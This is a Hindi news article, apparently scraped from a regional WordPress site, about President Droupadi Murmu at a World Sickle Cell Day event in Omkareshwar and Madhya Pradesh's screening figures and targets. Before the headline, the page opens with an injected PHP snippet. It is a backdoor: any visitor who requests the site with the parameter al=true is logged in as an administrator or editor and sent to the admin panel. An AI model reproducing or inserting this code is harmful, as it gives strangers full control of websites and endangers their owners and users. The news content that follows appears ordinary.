// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); विश्व सिकल सेल दिवस पर राष्ट्रपति का बड़ा बयान, बोलीं—स्क्रीनिंग लक्ष्य समय से पहले हुआ पूरा; MP की सराहना – प्रत्युषा आशा की नयी किरण
मध्यप्रदेश

विश्व सिकल सेल दिवस पर राष्ट्रपति का बड़ा बयान, बोलीं—स्क्रीनिंग लक्ष्य समय से पहले हुआ पूरा; MP की सराहना

ओंकारेश्वर

ओंकारेश्वर में विश्व सिकल सेल दिवस के अवसर पर आयोजित विशेष कार्यक्रम में राष्ट्रपति द्रौपदी मुर्मू पहुंची। सिकल सेल से संबंधित प्रदर्शनी का अवलोकन किया। 1.25 करोड़ लोगों के स्क्रीनिंग की लक्ष्य समय से पहले पूरा हुआ। 

राष्ट्रपति द्रोपदी मुर्मू ने कहा आज सिकल सेल दिवस पर लोगों के स्वास्थय के बारे में जागरुक करना है। सिकल सेल एनिमिया में मध्यप्रदेश सरकार ने बहुआयामी उपलब्धि हासिल किया है। इसके लिए मैं राज्य सरकार की सराहना करती हूं।

ये संतोष की बात है कि 2023 में राष्ट्र मिशन में उन्होंने जो लक्ष्य देश के सामने रखे थे। उसमें स्क्रीनिंग का लक्ष्य समय से पहले पूरा हुआ है। जितना मुझे अवगत कराया गया है उसमें सवा करोड़ से अधिक लोगों की स्क्रीनिंग पूरी हो गई है।

लोगों को कॉउंसलिंग कार्ड भी दिया गया
इनमें ज्यादातर को लोगों को जेनेटिक कॉउंसलिंग कार्ड भी दिया गया है। सिकल सेल से जुड़े चुनौती को भारत सरकार ने बहुत ही गंभीरता से लिया है। पिछले कुछ वर्षों से समग्र रुप से जो प्रयास किए है, वो अत्यंत सराहनीय है। लगभग तीन वर्ष पहले प्रधानमंत्री नरेंद्र मोदी ने मध्यप्रदेश के शहडोल से एनिमिया सिकल सेल मिशन को लॉंच किया था।

इस पहल के पीछे न केवल सरकार का दृढ़ संकल्प था। बल्कि इस चुनौती से जुड़े हर आयाम का समुचित निष्कर्ष देने का दूरदर्शी सोच भी थी। मुझे बताया गया कि केंद्रीय स्वास्थय मंत्रालय और केंद्रीय जनजातीय मंत्रालय के संयुक्त मॉडल के रुप में देश में पहली बार ऐसा मिशन पूरा किया गया। केवल स्वास्थय से जुड़ी समस्याओं के रुप में नहीं देखा जाता है। इसे जनजातीय स्वास्थय का मुद्दा, अनुवांशिका से जुड़े जागरुकता और प्रीवेंटिव हेल्थ कैयर की चुनौती से सामाजिक आचरण में बदलाव के रुप में भी देखा गया है।

मुझे बताया गया है कि इस मिशन की पृष्टभूमि में स्तरों पर किए गए वैज्ञानिक और सामाजिक अध्ययन रहे हैं। आईसीएमआर, ट्राइबल हेल्थ रिसर्च इंस्टीट्यूट, AIIMS, NAHM, WHO और विभिन्न राज्यों सरकारों ने इस विषय पर विभिन्न आयामों पर काम किया है। मैं यह जानकार खुश हूं, आज मैं कुछ स्टॉल को देख रही थी। केवल एलोपेथ नहीं, आयुर्वेद भी इसमें रिसर्च करके निकाले है।

2027 तक लक्षित लोगों की स्क्रीनिंग करना लक्ष्य
आज विश्व सिकल सेल दिवस के अवसर पर ओंकारेश्वर में माननीय राष्ट्रपति महोदया की उपस्थिति में जनजागरूकता का यह महत्वपूर्ण आयोजन हो रहा है। हमें प्रसन्नता है कि मध्य प्रदेश ने सिकल सेल स्क्रीनिंग के क्षेत्र में कम समय में उल्लेखनीय उपलब्धि हासिल की है।

हमारा लक्ष्य वर्ष 2027 से पहले सभी लक्षित लोगों की स्क्रीनिंग पूरी करना है, ताकि इसके बाद उपचार और प्रबंधन पर विशेष ध्यान दिया जा सके। सिकल सेल एनीमिया से प्रभावित जनजातीय समाज सदैव इस अभियान को याद रखेगा। सरकार इस बीमारी के उन्मूलन के लिए पूरी प्रतिबद्धता के साथ कार्य कर रही है।

सीएम बोले- 2027 तक 1.60 करोड़ स्क्रीनिंग का लक्ष्य
मुख्यमंत्री डॉ. मोहन यादव ने कहा कि ओंकार महाराज और मां नर्मदा की पावन भूमि पर आज विश्व सिकल सेल दिवस कार्यक्रम राष्ट्रपति द्रौपदी मुर्मू के नेतृत्व में मनाया जा रहा है। उन्होंने कहा कि जब प्रधानमंत्री नरेंद्र मोदी गुजरात के मुख्यमंत्री थे और राज्यपाल मंगूभाई पटेल शासन में महत्वपूर्ण भूमिका निभा रहे थे, तभी इस अभियान की नींव रखी गई थी।

वर्ष 2023 में शहडोल से सिकल सेल उन्मूलन अभियान 2.0 की शुरुआत हुई। पिछले तीन वर्षों में मध्य प्रदेश में 1 करोड़ 32 लाख लोगों की सिकल सेल जांच (स्क्रीनिंग) की जा चुकी है। वर्ष 2027 से पहले 1 करोड़ 60 लाख स्क्रीनिंग का लक्ष्य पूरा किया जाएगा। मुख्यमंत्री ने राज्यपाल मंगूभाई पटेल का आभार व्यक्त करते हुए कहा कि उन्होंने इस अभियान की लगातार निगरानी की और हर दो महीने में समीक्षा बैठक लेकर इसे सफल बनाने में महत्वपूर्ण भूमिका निभाई।

इलाज प्रक्रियाओं की जानकारी दी गई
कार्यक्रम में सिकल सेल मरीजों, नियमित रक्तदाताओं और समाज में जागरूकता फैलाने वाले लोगों को सम्मानित किया गया। ब्लॉक मेडिकल ऑफिसर डॉ. आनंद ओनकर ने बताया कि खालवा, छैगांव माखन, पुनासा और पंधाना विकासखंडों से ऐसे सरपंचों का चयन किया गया है, जिन्होंने अपने गांवों में सिकल सेल स्क्रीनिंग और जागरूकता अभियान को सफल बनाने में महत्वपूर्ण भूमिका निभाई है।

आयोजन स्थल पर लगाई गई प्रदर्शनी के माध्यम से सिकल सेल एनीमिया की पहचान, स्क्रीनिंग और इलाज प्रक्रियाओं की विस्तृत जानकारी दी गई। इसमें मरीजों को उपलब्ध सरकारी सुविधाओं और बीमारी से बचाव के तरीकों पर भी प्रकाश डाला जाएगा। विशेषज्ञ चिकित्सक स्वास्थ्य परीक्षण और परामर्श भी प्रदान की गई।

डॉक्टर बोले-सिकल सेल एनीमिया आनुवंशिक बीमारी
डॉक्टर ओनकर ने बताया कि सिकल सेल एनीमिया एक आनुवंशिक बीमारी है, जिसकी पीढ़ी दर पीढ़ी बढ़ोतरी को विवाह पूर्व जांच से रोका जा सकता है। विवाह से पहले युवक-युवती दोनों की जांच कर उन्हें संभावित जोखिमों की जानकारी दी जाती है। जांच रिपोर्ट और सिकल सेल कार्ड के आधार पर संतान में बीमारी की संभावना बताई जाती है, जिसके बाद नवयुगल स्वयं निर्णय लेते हैं।

कलेक्टर ऋषभ गुप्ता के निर्देशन में खंडवा जिले में बड़े पैमाने पर सिकल सेल स्क्रीनिंग अभियान चलाया गया है। स्वास्थ्य विभाग का मानना है कि जनजागरूकता, समय पर जांच और उचित परामर्श से इस बीमारी पर प्रभावी नियंत्रण संभव है। विश्व सिकल सेल दिवस का यह आयोजन इसी दिशा में एक महत्वपूर्ण कदम है।

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड

[wp-rss-aggregator]